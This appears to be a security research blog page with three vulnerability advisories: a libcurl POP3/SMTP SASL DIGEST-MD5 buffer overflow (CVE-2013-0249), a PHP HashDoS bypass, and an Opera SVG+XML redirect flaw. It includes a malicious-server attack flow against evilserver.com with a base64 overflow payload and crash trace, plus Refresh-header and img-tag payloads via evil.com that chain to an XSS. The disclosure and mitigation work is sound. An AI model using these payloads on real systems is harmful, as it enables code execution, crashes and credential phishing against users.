Blog.Volema

cURL buffer overflow

2013-02-06T10:00:00+01:00

Volema found remotely exploitable buffer overflow vulnerability in libcurl POP3, SMTP protocol handlers which lead to code execution (RCE). When negotiating SASL DIGEST-MD5 authentication, the function Curl_sasl_create_digest_md5_message() uses the data provided from the server without doing the proper length checks and that data is then appended to a local fixed-size buffer on the stack.

Vendor notified, CVE-2013-0249 relased.

Attack Concept Outline

We have the permissions to send custom HTTP requests with curl. We send request to our http://evilserver.com/

GET / HTTP/1.0
Host: evilserver.com

server answers with

HTTP/1.0 302 Found
Location: pop3://x:x@evilserver.com/.

"smart" curl interpretes redirect and connects to evilserver.com port 110/TCP using POP3 proto. Server answers

+OK POP3 server ready

curl sends

CAPA

servers answers with DIGEST-MD5 only

+OK List of capabilities follows
SASL DIGEST-MD5
IMPLEMENTATION dumbydumb POP3 server

so, libcurl has to send

AUTH DIGEST-MD5

then server sends the payload

+ cmVhbG09IkFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBQUFBIixub25jZT0iT0E2TUc5dEVRR20yaGgiLHFvcD0iYXV0aCIsYWxnb3JpdGhtPW1kNS1zZXNzLGNoYXJzZXQ9dXRmLTg=

and overflow happens because of fixed "uri" buffer size (128) and "realm" which is also 128 bytes

realm="AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA",nonce="OA6MG9tEQGm2hh",qop="auth",algorithm=md5-sess,charset=utf-8

how it looks in gdb

Program received signal SIGSEGV, Segmentation fault.
0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6
(gdb) bt
#0  0x00007fd2b238298d in ?? () from /lib/x86_64-linux-gnu/libc.so.6
#1  0x00007fd2b2a5cc07 in Curl_sasl_create_digest_md5_message ()
   from /home/kyprizel/test/curl-7.28.1/lib/.libs/libcurl.so.4
#2  0x4141414141414141 in ?? ()
...
#1469 0x4141414141414141 in ?? ()
#1470 0x656d616e72657375 in ?? ()
Cannot access memory at address 0x7fff63b8b000

Original exploit: pop3d.py.

Mitigation

We recommend to disable protocols other than HTTP(S) in your application using options CURLOPT_PROTOCOLS and CURLOPT_REDIR_PROTOCOLS. libcurl version should be updated.

PHP <=5.4.8, <=5.3.18 with mbstring.encoding_translation = On is vulnerable to HashDoS

2012-11-26T10:00:00+01:00

Hashdos attack on scripting languages was introduced first time at 28C3 conference [1]. It targets the performance bottleneck in keeping large hash tables made of request parameters.

The main way to protect from this attack is to limit the number of request parameters. In PHP it is done through the parameter max_input_vars, but this parameter is ignored if mbstring.encoding_translation parameter is set to "On". Therefore, it is possible to send a request with a large number of parameters to perform a HashDoS attack.

Fortunately, the default value for mbstring.encoding_translation is "Off". This vulnerability mainly affects Japanese web sites that use automated encoding conversion widely. However, it is strongly recommended to update to the latest version of PHP.

References

[1] Alexander ‘alech’ Klink, Julian | zeri "Effective denial of service attacks against web application platforms", 29C3, 2011

[2] Hiroshi Tokumaru "セキュリティ情報:PHP5.4.8、PHP5.3.18以前にhashdos脆弱性"

Opera SVG+XML Handling Vulnerability

2012-10-06T10:00:00+02:00

Some time ago we have found in the wild an exploit for a vulnerability allowing to redirect an Opera user to an arbitrary host by just inserting an <img> tag on the victim site. This vulnerability was actively exploited for redirecting users to a phishing site, which imitated a large and popular web-portal, with a purpose to steal users credentials. Posting of a malicious image on the victim site was enough for successful exploitation of the vulnerability. The vulnerability was reported to Opera Software, but they decided this is not a security bug and refused to patch it urgently.

The issue lies in the process of handling 'image/svg+xml' Content-Type with the Refresh server response header.

Refresh: 0; url=data:application/internet-shortcut,[INTERNETSHORTCUT]%0D%0AURL=http://volema.com/
Content-Type: image/svg+xml;

<svg xmlns="http://www.w3.org/2000/svg" version="1.1" />

Attacker can forge a redirect of the image resource to a data: scheme URL that has an 'application/internet-shortcut' embedded in it. Upon hitting such an content-type, Opera acts like if the user opens an internet shortcut from his file manager, and essentially redirects the user to an arbitrary URL that we specify in the internet shortcut. In the above example, the URL is http://volema.com/

Although at first sight there is nothing to worry about, but in case the victim site has at least one HTTP open redirect, with SVG+XML handling vulnerability it is possible to use the recently-published 0-day Opera XSS vulnerability (which requires a victim to click the malicious link manually) without any user interaction.

An example

We have the permissions to post any images to target site and there is also a script that allows us to yield any HTTP redirects.

The victim visits http://target.com/blog/ where the malicious <img> is placed in the comment section.

<img src="http://evil.com/evil.png" />

When the browser tries to access 'evil.png', the malicious script responds with an exploit:

Refresh: 0; url=data:application/internet-shortcut,%5BInternetShortcut%5D%0D%0AURL%3Dhttp%3A%2F%2Ftarget.com%2Fopenredirect%3Fparam%3Ddata%3Atext%2Fhtml%3Bbase64%2CPHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg%3D%3D
Content-Type: image/svg+xml;

<svg xmlns="http://www.w3.org/2000/svg" version="1.1" />

Then Opera interprets internet shortcut from Refresh header data and redirects the victum to

http://target.com/openredirect?param=data%3atext%2fhtml%3bbase64%2cPHNjcmlwdD5hbGVydChkb2N1bWVudC5kb21haW4pOzwvc2NyaXB0Pg%3d%3d

This URL has an exploit for UXSS 0-day Opera vulnerability embedded in it.

Till the moment described vulnerabilities are fixed we recommend all Opera users to disable automatical handling of internet shortcuts: Tools -> Preferences -> Advanced -> Downloads -> Uncheck "Hide file types opened with Opera" -> Select "application/internet-shortcut" -> Edit... -> Select "Show download dialog".

Also the Private Tab is not vulnerable.